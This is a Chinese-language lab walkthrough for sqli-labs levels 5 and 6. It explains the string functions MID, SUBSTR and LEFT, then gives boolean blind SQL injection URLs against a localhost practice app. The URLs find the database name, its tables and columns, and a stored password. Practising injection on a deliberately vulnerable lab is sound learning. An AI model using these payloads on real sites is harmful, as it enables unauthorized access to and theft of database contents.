sqli 5-6关就考验的就是关于盲注的知识了 我们先了解一下布尔盲注sql注入截取字符串常用三大法宝函数
格式: MID(column_name,start[,length])
参数 | 描述 |
---|---|
column_name | 必需。要提取字符的字段。 |
start | 必需。规定开始位置(起始值是 1)。 |
length | 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。 |
举个例子: str="123456" mid(str,2,1) 其意思就是:从“str”的第二位数“2”开始返回一位数。显然我们所获得的结果为“2” Sql用例:
(1)MID(DATABASE(),1,1)>’a’,查看数据库名第一位,MID(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。
(2)MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处column_name参数可以为sql语句,可自行构造sql语句进行注入。
格式:substr(string,start,length) 定义和用法 substr() 函数返回字符串的一部分。 注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
Substr()和substring()函数实现的功能是一样的,均为截取字符串。 string substring(string, start, length) string substr(string, start, length) 参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。
Sql用例:
(1) substr(DATABASE(),1,1)>’a’,查看数据库名第一位,substr(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。
(2) substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处string参数可以为sql语句,可自行构造sql语句进行注入。
格式:Left(string、length)
参数 | 说明 |
---|---|
字符串 | 字符串表达式,返回最左侧的字符。 如果字符串包含 null,则返回 null。 |
长度 | 变体(Long)。 数值表达式 ,指示要返回的字符数。 如果为0,则返回零长度字符串("")。 如果大于或等于字符串中的字符数,则返回整个字符串。 |
Sql用例:
(1) left(database(),1)>’a’,查看数据库名第一位,left(database(),2)>’ab’,查看数据库名前二位。 (2) 同样的string可以为自行构造的sql语句。
以上信息从互联网中收集整理而来(os:你让我自己编个出来怎么可能) 好了接下来我们进入第五关
我们来利用刚刚的知识进行注入 首先我们先判断下数据库长度(按下面这个payload试,一直到页面回显错误即错误的前一个数字为真)
http://localhost/sqli-labs-master/Less-5/?id=1'and length(database())=8--+
接下来判断数据库名
http://localhost/sqli-labs-master/Less-5/?id=1' and left((select database()),1)='s'--+
回显正常页面就说明数据库第一位是s。接下来按着这种顺序下去就能猜解出数据库名了 这里我就要介绍一个二分法了
http://localhost/sqli-labs-master/Less-5/?id=1' and left((select database()),1)>'l'--+
这里意思就是,如果数据库名第一位数是在l之后就TRUE,返回正常页面,否则就是错误页面。这种方法可以大大增快我们猜解时间 到了这,肯定就有bro问了,那你为嘛不直接上脚本呢,sqlmap不香吗? 只能说这是因人而异,CTF比赛的时候可不让用sqlmap跑。练习手工注入就是在打基础。 现在我们推出了表名是security 接下来继续猜表:
http://localhost/sqli-labs-master/Less-5/?id=1' and left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)='e' --+
这里我解释一下limit含义 举个例子select * from emails limit 0,1; 意思就是从emails表中从第一个开始只抽一条 如果是limit 2,1 就是 从第二个开始抽一条。 介绍完了猜表,我们现在从user表中猜列名
http://localhost/sqli-labs-master/Less-5/?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 1,1),8)='username'
接下来猜数据 http://localhost/sqli-labs-master/Less-5/?id=1' and left((select password from users order by id limit 0,1),4)='dumb' --+ 就是这样啦。只是这样一个个猜太麻烦了。。。。。如果python学的好的bro可以自己写一个简单脚本跑一下就好了。
第六关 根据提示可知。只是双引号的保存,所以我们只需要把第五关的单引号改成双引号就好了。
过关方式有很多,暂时先更到这里。后面还会增加一些方法。